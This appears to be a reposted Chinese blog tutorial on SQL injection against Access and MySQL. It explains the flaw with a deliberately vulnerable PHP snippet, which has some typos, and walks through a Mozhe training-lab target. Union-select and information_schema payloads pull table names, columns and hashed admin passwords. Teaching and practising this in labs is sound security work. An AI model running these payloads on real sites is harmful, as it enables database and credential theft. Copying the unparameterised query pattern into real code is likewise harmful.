IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入&Access&Mysql -> 正文阅读

[大数据]SQL注入&Access&Mysql

知识点:

1、脚本代码与数据库前置知识

2、Access数据库注入-简易&偏移

3、MYSQL数据库注入-简易&权限跨库

前置知识:

SQL注入漏洞产生原理分析

SQL注入漏洞其实他就产生在脚本代码和数据库正在通讯会话的时候产生的

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。

<?php
    //数据库连接
    $conn=mysqli_connect("locahost","root","root");
   //连接数据库里面的库
 $mysqli_select_db($conn,'库名');
   //通过get方式请求接受id参数名值给变量i
   $i=GET['id'];
   //设置sql语句
   $sql="select * form sy_gusetbook where id=$i";
  //当我们可以通过传输id值来控制sql语句的时候,就能实现sql注入了
  //那么我们一般判断有没有sql注入的时候是id=1 and 1=2,这样判断的
  //当我们在id=1后面加上and 1=2的时候,那么如果没有过来直接传输到我们的sql语句中就变成这样
  //select * form sy_gusetbook where id=1 and 1=2;
  //那么他后面就是接上我需要用到的sql语句
    ?>

SQL注入漏洞危害利用分析

可以查询,可以删除,可以修改,可以添加你要的数据

那么在我们sql语句中他这个sql语句有规则的,你能不能实现想要的功能就看你的sql语句能不能插入到源码中的sql语句中并且执行

所有说这个功能的实现有一部分是取决于源码中sql语句的,就是说如果你源码上的sql语句和我要插进去执行的语句不能兼容那么就完蛋蛋了

脚本代码与数据库操作流程

<?php
    //数据库连接
    $conn=mysqli_connect("locahost","root","root");
   //连接数据库里面的库
 $mysqli_select_db($conn,'库名');
   //通过get方式请求接受id参数名值给变量i
   $i=GET['id'];
   //设置sql语句
   $sql="select * form sy_gusetbook where id=$i";
   //当我们sql语句中存在一个变量,那么这个变量他的值是通过get方式由用户传输过来的,那么如果没有过滤的话什么东西都可以传输过来了,这样的话,不管什么传输给id这个位置他都会赋值给$i ,那么$i就会将赋值给他的数据用到sql语句中
   ?>

SQL注入漏洞产生的根本条件

可控变量 特定函数

SQL注入攻击流程:

1、猜测数据库类型

2、根据类型选择思路

ACCESS 独立存在

数据库名

? 表名

? 列名

? 数据

ACCESS 实战墨者

首先查看是否有注入点

and 1=2

在这里插入图片描述

存在注入点

在这里插入图片描述

然后是判断字段

order by 4

字段为4

当我们将我们将字段改成5的时候就会报错

order by 5

在这里插入图片描述

前面两个判断完成后

那么下面就是直接猜表名了

那么我们access数据库,源码中是可以直接连接他数据库里面的数据库的就不用去才他这个数据库是什么名称了

猜表名

通过我们的联合联合查询

联合查询呢就是能同时执行多条语句

union select 1,2,3,4 from admin

这个admin就是你猜的表名

你就可以通过抓包将admin这个位置弄成替换目标去跑脚本就可以了

那么如果是这个表名他会回显一个1-4的数字给你

这个数字位置就是你插入sql语句的位置

在这里插入图片描述

猜列名

那么这个列名

和我们的表名一样需要猜

猜不到那么就很难爆出数据了

union select 1,username,passwd,4 from admin

在这里插入图片描述

去掉1和4这个sql语句结束

union select username passwd from admin

意思是 我要查询 字段为admin 和password 的数据 要在admin这个表里面查

ASP+Access-简易注入-字典猜解

由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!

ASP+Access-偏移注入-报错显示

偏移注入就是解决表名已知,列名未知的情况!

MYSQL 统一管理

最高数据库用户=root用户可管理所有数据库

数据库A=网站A=数据库用户A 只能管理数据库A

? 表名

? 列名

? 数据

数据库B=网站B=数据库用户B 只能管理数据库B

数据库C=网站C=数据库用户C 只能管理数据库C

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL两种注入思路:

  1. 非ROOT的注入攻击:常规类的猜解
  2. ROOT用户的注入攻击:文件读写操作,跨库查询注入等

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

information_schema.tables

MYSQL墨者注入实战

在这里插入图片描述

判断是否存在注入点

and 1=2

异常回显

存在注入
在这里插入图片描述

判断字段

order by 4

在这里插入图片描述

然后是判断回显数字

union select 1,2,3.4 --+

如果没有回显数字的话

在这里插入图片描述

那么我们就主动让他爆出

怎么弄呢

将id=1

改为id=-1

在这里插入图片描述

爆出了2和3

那么我们就在2和3的位置进行注入

MYSQL爆库

查看他连接是什么库

如果你会mysql查询语句的话

就懂了

在我们mysql中查询库名的命令是

shou databases;

那么在我们sql注入中爆出当前库是

union select 1,database(),3,4 --+

在这里插入图片描述
当前库名

mozhe_Discuz_StormGroup

MYSQL爆表

union select 1,table_name,3,4 from information_schema.tables where
table_schema=“mozhe_Discuz_StormGroup”

这个语句的意思是

查询表名 在information_schema这个库里 条件是表存在的可以是在mozhe_Discuz_StormGroup这个库中

在这里插入图片描述
表名是

StormGroup_member

MYSQL爆列名

在这里插入图片描述

爆出了其中一个列名

为id那么下面就爆出所有列名

MYSQL爆出所有列名

union select 1,2,group_concat(column_name),4 from
information_schema.columns where table_name=“StormGroup_member”

在这里插入图片描述

所有列名

id,name,password,status

那么我们想要的就是他的账户和密码

下面就是爆数据

MYSQL爆数据

union select 1,group_concat(name),group_concat(password),4 from
mozhe_Discuz_StormGroup.StormGroup_member

在这里插入图片描述

union select 1,group_concat(name),group_concat(password),4 from 库名.表名

mozhe,mozhe

356f589a7df439f6f744ff19bb8092c0,

7b44e1431d3f28f3781a4527671c69b1

密码被md5了

那么我们最后尝试一下爆所有库名和表名

MYSQL爆出所有表名

表名

union select 1,2,group_concat(table_name),4 from
information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

union select 1,2,group_concat(table_name),4 from
information_schema.tables where table_schema=“库名”
在这里插入图片描述
union select 1,group_concat(password),group_concat(name),4 from
mozhe_Discuz_StormGroup.StormGroup_member

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-05-15 11:37:30  更:2022-05-15 11:37:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 -2025/1/16 6:41:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码